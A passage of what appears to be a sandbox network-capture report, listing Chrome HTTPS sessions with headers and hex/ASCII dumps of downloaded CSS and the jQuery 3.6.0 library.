Data Ascii: rm: scale(1.8); -ms-transform: scale(1.8); -o-transform: scale(1.8); transform: scale(1.8); } appcues-layer .beacon.bounce-in { -webkit-animation: bounceIn 0.5s linear; -moz-animation: bounceIn 0.5s linear; animation
2025-04-21 09:32:34 UTC	1369	IN	Data Raw: 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 30 2e 31 29 3b 0d 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 30 2e 31 29 3b 20 7d 0d 0a 20 20 32 35 25 20 7b 0d 0a 20 20 20 20 2d 6d 6f 7a 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 31 29 3b 0d 0a 20 20 20 20 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 31 29 3b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 31 29 3b 0d 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 31 29 3b 0d 0a 20 20 20 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 20 30 2e 35 3b 20 7d 0d 0a 20 20 33 30 25 20 7b 0d 0a 20 20 20 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 20 30 3b 20 7d 0d 0a 20 20 Data Ascii: -webkit-transform: scale(0.1); transform: scale(0.1); } 25% { -moz-transform: scale(1); -ms-transform: scale(1); -webkit-transform: scale(1); transform: scale(1); stroke-width: 0.5; } 30% { stroke-width: 0; }
2025-04-21 09:32:34 UTC	1369	IN	Data Raw: 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 6f 70 61 63 69 74 79 3a 20 31 3b 0d 0a 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 63 6f 6e 74 65 6e 74 2d 62 6f 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 6f 75 74 6c 69 6e 65 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 6f 76 65 72 66 6c 6f 77 2d 78 3a 20 76 69 73 69 62 6c 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 Data Ascii: mportant; display: block !important; line-height: 1 !important; box-shadow: none !important; opacity: 1; box-sizing: content-box !important; outline: none !important; border-radius: 0 !important; overflow-x: visible !important;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49742	172.67.138.38	443	832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-21 09:32:34 UTC	568	OUT	GET /sendgrid/26.4f50d9a5c773f22e4e53.css HTTP/1.1 Host: pattemsyw.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-21 09:32:34 UTC	376	IN	HTTP/1.1 200 OK Date: Mon, 21 Apr 2025 09:32:34 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close Server: cloudflare Last-Modified: Thu, 23 May 2024 08:32:59 GMT Etag: W/"664eff3b-5fcfa" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Cf-Cache-Status: MISS CF-RAY: 933bdffb1af297fd-PHX alt-svc: h3=":443"; ma=86400
2025-04-21 09:32:34 UTC	993	IN	Data Raw: 31 38 31 66 0d 0a 68 74 6d 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 2d 6d 73 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 7d 61 72 74 69 63 6c 65 2c 61 73 69 64 65 2c 64 65 74 61 69 6c 73 2c 66 69 67 63 61 70 74 69 6f 6e 2c 66 69 67 75 72 65 2c 66 6f 6f 74 65 72 2c 68 65 61 64 65 72 2c 68 67 72 6f 75 70 2c 6d 61 69 6e 2c 6d 65 6e 75 2c 6e 61 76 2c 73 65 63 74 69 6f 6e 2c 73 75 6d 6d 61 72 79 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 61 75 64 69 6f 2c 63 61 6e 76 61 73 2c 70 72 6f 67 72 65 73 73 2c 76 69 64 65 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 76 65 72 74 69 63 61 6c 2d 61 6c Data Ascii: 181fhtml{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-al
2025-04-21 09:32:34 UTC	1369	IN	Data Raw: 65 7d 62 75 74 74 6f 6e 2c 68 74 6d 6c 20 69 6e 70 75 74 5b 74 79 70 65 3d 62 75 74 74 6f 6e 5d 2c 69 6e 70 75 74 5b 74 79 70 65 3d 72 65 73 65 74 5d 2c 69 6e 70 75 74 5b 74 79 70 65 3d 73 75 62 6d 69 74 5d 7b 2d 77 65 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 62 75 74 74 6f 6e 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 62 75 74 74 6f 6e 5b 64 69 73 61 62 6c 65 64 5d 2c 68 74 6d 6c 20 69 6e 70 75 74 5b 64 69 73 61 62 6c 65 64 5d 7b 63 75 72 73 6f 72 3a 64 65 66 61 75 6c 74 7d 62 75 74 74 6f 6e 3a 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 2d 69 6e 6e 65 72 2c 69 6e 70 75 74 3a 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 2d 69 6e 6e 65 72 7b 62 6f 72 64 65 72 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 69 6e 70 75 74 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 6e 6f 72 6d 61 Data Ascii: e}button,html input[type=button],input[type=reset],input[type=submit]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0}input{line-height:norma
2025-04-21 09:32:34 UTC	1369	IN	Data Raw: 70 6f 72 74 61 6e 74 7d 2e 6c 61 62 65 6c 7b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 30 30 30 7d 2e 74 61 62 6c 65 7b 62 6f 72 64 65 72 2d 63 6f 6c 6c 61 70 73 65 3a 63 6f 6c 6c 61 70 73 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 74 61 62 6c 65 20 74 64 2c 2e 74 61 62 6c 65 20 74 68 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 74 61 62 6c 65 2d 62 6f 72 64 65 72 65 64 20 74 64 2c 2e 74 61 62 6c 65 2d 62 6f 72 64 65 72 65 64 20 74 68 7b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 64 64 64 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 63 6f 64 65 2c 6b 62 64 2c 70 72 65 2c 73 61 6d 70 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 4d 65 6e 6c 6f 2c 4d 6f 6e 61 63 6f 2c 43 6f 6e 73 6f 6c 61 73 2c 43 Data Ascii: portant}.label{border:1px solid #000}.table{border-collapse:collapse!important}.table td,.table th{background-color:#fff!important}.table-bordered td,.table-bordered th{border:1px solid #ddd!important}}code,kbd,pre,samp{font-family:Menlo,Monaco,Consolas,C
2025-04-21 09:32:34 UTC	1369	IN	Data Raw: 69 6c 64 3e 74 64 2c 2e 74 61 62 6c 65 3e 63 61 70 74 69 6f 6e 2b 74 68 65 61 64 3e 74 72 3a 66 69 72 73 74 2d 63 68 69 6c 64 3e 74 68 2c 2e 74 61 62 6c 65 3e 63 6f 6c 67 72 6f 75 70 2b 74 68 65 61 64 3e 74 72 3a 66 69 72 73 74 2d 63 68 69 6c 64 3e 74 64 2c 2e 74 61 62 6c 65 3e 63 6f 6c 67 72 6f 75 70 2b 74 68 65 61 64 3e 74 72 3a 66 69 72 73 74 2d 63 68 69 6c 64 3e 74 68 2c 2e 74 61 62 6c 65 3e 74 68 65 61 64 3a 66 69 72 73 74 2d 63 68 69 6c 64 3e 74 72 3a 66 69 72 73 74 2d 63 68 69 6c 64 3e 74 64 2c 2e 74 61 62 6c 65 3e 74 68 65 61 64 3a 66 69 72 73 74 2d 63 68 69 6c 64 3e 74 72 3a 66 69 72 73 74 2d 63 68 69 6c 64 3e 74 68 7b 62 6f 72 64 65 72 2d 74 6f 70 3a 30 7d 2e 74 61 62 6c 65 3e 74 62 6f 64 79 2b 74 62 6f 64 79 7b 62 6f 72 64 65 72 2d 74 6f 70 3a Data Ascii: ild>td,.table>caption+thead>tr:first-child>th,.table>colgroup+thead>tr:first-child>td,.table>colgroup+thead>tr:first-child>th,.table>thead:first-child>tr:first-child>td,.table>thead:first-child>tr:first-child>th{border-top:0}.table>tbody+tbody{border-top:
2025-04-21 09:32:34 UTC	1369	IN	Data Raw: 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 35 66 35 66 35 7d 2e 74 61 62 6c 65 2d 68 6f 76 65 72 3e 74 62 6f 64 79 3e 74 72 2e 61 63 74 69 76 65 3a 68 6f 76 65 72 3e 74 64 2c 2e 74 61 62 6c 65 2d 68 6f 76 65 72 3e 74 62 6f 64 79 3e 74 72 2e 61 63 74 69 76 65 3a 68 6f 76 65 72 3e 74 68 2c 2e 74 61 62 6c 65 2d 68 6f 76 65 72 3e 74 62 6f 64 79 3e 74 72 3a 68 6f 76 65 72 3e 2e 61 63 74 69 76 65 2c 2e 74 61 62 6c 65 2d 68 6f 76 65 72 3e 74 62 6f 64 79 3e 74 72 3e 74 64 2e 61 63 74 69 76 65 3a 68 6f 76 65 72 2c 2e 74 61 62 6c 65 2d 68 6f 76 65 72 3e 74 62 6f 64 79 3e 74 72 3e 74 68 2e 61 63 74 69 76 65 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 38 65 38 65 38 7d 2e 74 61 62 6c 65 3e 74 62 6f 64 79 3e 74 72 2e Data Ascii: {background-color:#f5f5f5}.table-hover>tbody>tr.active:hover>td,.table-hover>tbody>tr.active:hover>th,.table-hover>tbody>tr:hover>.active,.table-hover>tbody>tr>td.active:hover,.table-hover>tbody>tr>th.active:hover{background-color:#e8e8e8}.table>tbody>tr.
2025-04-21 09:32:34 UTC	1369	IN	Data Raw: 3e 74 72 2e 77 61 72 6e 69 6e 67 3e 74 68 2c 2e 74 61 62 6c 65 3e 74 62 6f 64 79 3e 74 72 3e 74 64 2e 77 61 72 6e 69 6e 67 2c 2e 74 61 62 6c 65 3e 74 62 6f 64 79 3e 74 72 3e 74 68 2e 77 61 72 6e 69 6e 67 2c 2e 74 61 62 6c 65 3e 74 66 6f 6f 74 3e 74 72 2e 77 61 72 6e 69 6e 67 3e 74 64 2c 2e 74 61 62 6c 65 3e 74 66 6f 6f 74 3e 74 72 2e 77 61 72 6e 69 6e 67 3e 74 68 2c 2e 74 61 62 6c 65 3e 74 66 6f 6f 74 3e 74 72 3e 74 64 2e 77 61 72 6e 69 6e 67 2c 2e 74 61 62 6c 65 3e 74 66 6f 6f 74 3e 74 72 3e 74 68 2e 77 61 72 6e 69 6e 67 2c 2e 74 61 62 6c 65 3e 74 68 65 61 64 3e 74 72 2e 77 61 72 6e 69 6e 67 3e 74 64 2c 2e 74 61 62 6c 65 3e 74 68 65 61 64 3e 74 72 2e 77 61 72 6e 69 6e 67 3e 74 68 2c 2e 74 61 62 6c 65 3e 74 68 65 61 64 3e 74 72 3e 74 64 2e 77 61 72 6e 69 Data Ascii: >tr.warning>th,.table>tbody>tr>td.warning,.table>tbody>tr>th.warning,.table>tfoot>tr.warning>td,.table>tfoot>tr.warning>th,.table>tfoot>tr>td.warning,.table>tfoot>tr>th.warning,.table>thead>tr.warning>td,.table>thead>tr.warning>th,.table>thead>tr>td.warni
2025-04-21 09:32:34 UTC	1369	IN	Data Raw: 72 3e 74 64 2c 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 3e 2e 74 61 62 6c 65 3e 74 62 6f 64 79 3e 74 72 3e 74 68 2c 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 3e 2e 74 61 62 6c 65 3e 74 66 6f 6f 74 3e 74 72 3e 74 64 2c 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 3e 2e 74 61 62 6c 65 3e 74 66 6f 6f 74 3e 74 72 3e 74 68 2c 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 3e 2e 74 61 62 6c 65 3e 74 68 65 61 64 3e 74 72 3e 74 64 2c 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 3e 2e 74 61 62 6c 65 3e 74 68 65 61 64 3e 74 72 3e 74 68 7b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 7d 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 3e 2e 74 61 62 6c 65 2d 62 6f 72 64 65 72 65 64 7b 62 6f 72 64 65 72 3a 30 7d 2e 74 61 Data Ascii: r>td,.table-responsive>.table>tbody>tr>th,.table-responsive>.table>tfoot>tr>td,.table-responsive>.table>tfoot>tr>th,.table-responsive>.table>thead>tr>td,.table-responsive>.table>thead>tr>th{white-space:nowrap}.table-responsive>.table-bordered{border:0}.ta
2025-04-21 09:32:34 UTC	1369	IN	Data Raw: 6c 6f 72 3a 23 33 33 33 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31 70 78 20 73 6f 6c 69 64 20 23 65 35 65 35 65 35 7d 6c 61 62 65 6c 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 35 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 69 6e 70 75 74 5b 74 79 70 65 3d 73 65 61 72 63 68 5d 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 69 6e 70 75 74 5b 74 79 70 65 3d 63 68 65 63 6b 62 6f 78 5d 2c 69 6e 70 75 74 5b 74 79 70 65 3d 72 61 64 69 6f 5d 7b 6d 61 72 67 69 6e 3a 34 70 78 20 30 20 30 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 70 78 5c 39 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 7d 69 6e 70 75 74 5b 74 Data Ascii: lor:#333;border-bottom:1px solid #e5e5e5}label{display:inline-block;max-width:100%;margin-bottom:5px;font-weight:700}input[type=search]{box-sizing:border-box}input[type=checkbox],input[type=radio]{margin:4px 0 0;margin-top:1px\9;line-height:normal}input[t
2025-04-21 09:32:34 UTC	1369	IN	Data Raw: 79 70 65 3d 64 61 74 65 5d 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2c 69 6e 70 75 74 5b 74 79 70 65 3d 64 61 74 65 74 69 6d 65 2d 6c 6f 63 61 6c 5d 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2c 69 6e 70 75 74 5b 74 79 70 65 3d 6d 6f 6e 74 68 5d 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2c 69 6e 70 75 74 5b 74 79 70 65 3d 74 69 6d 65 5d 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 33 34 70 78 7d 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 73 6d 3e 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 62 74 6e 3e 69 6e 70 75 74 2e 62 74 6e 5b 74 79 70 65 3d 64 61 74 65 5d 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 73 6d 3e 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 62 74 6e 3e 69 6e 70 75 74 2e 62 74 6e 5b 74 79 70 65 3d 64 61 74 65 74 69 6d 65 2d 6c 6f 63 Data Ascii: ype=date].form-control,input[type=datetime-local].form-control,input[type=month].form-control,input[type=time].form-control{line-height:34px}.input-group-sm>.input-group-btn>input.btn[type=date],.input-group-sm>.input-group-btn>input.btn[type=datetime-loc
2025-04-21 09:32:34 UTC	1369	IN	Data Raw: 65 74 69 6d 65 2d 6c 6f 63 61 6c 5d 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 6c 67 3e 69 6e 70 75 74 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 5b 74 79 70 65 3d 6d 6f 6e 74 68 5d 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 6c 67 3e 69 6e 70 75 74 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 5b 74 79 70 65 3d 74 69 6d 65 5d 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 6c 67 3e 69 6e 70 75 74 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 5b 74 79 70 65 3d 64 61 74 65 5d 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 6c 67 3e 69 6e 70 75 74 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 5b 74 79 70 65 3d 64 61 74 65 74 69 6d 65 2d 6c 6f 63 61 6c 5d 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 6c 67 3e 69 6e 70 75 74 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 Data Ascii: etime-local],.input-group-lg>input.form-control[type=month],.input-group-lg>input.form-control[type=time],.input-group-lg>input.input-group-addon[type=date],.input-group-lg>input.input-group-addon[type=datetime-local],.input-group-lg>input.input-group-add

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49744	151.101.194.137	443	832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-21 09:32:34 UTC	627	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-21 09:32:34 UTC	611	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 3896937 Date: Mon, 21 Apr 2025 09:32:34 GMT X-Served-By: cache-lga21931-LGA, cache-lax-kwhp1940116-LAX X-Cache: HIT, HIT X-Cache-Hits: 77, 0 X-Timer: S1745227955.542674,VS0,VE1 Vary: Accept-Encoding
2025-04-21 09:32:34 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-04-21 09:32:34 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2025-04-21 09:32:34 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2025-04-21 09:32:34 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2025-04-21 09:32:34 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
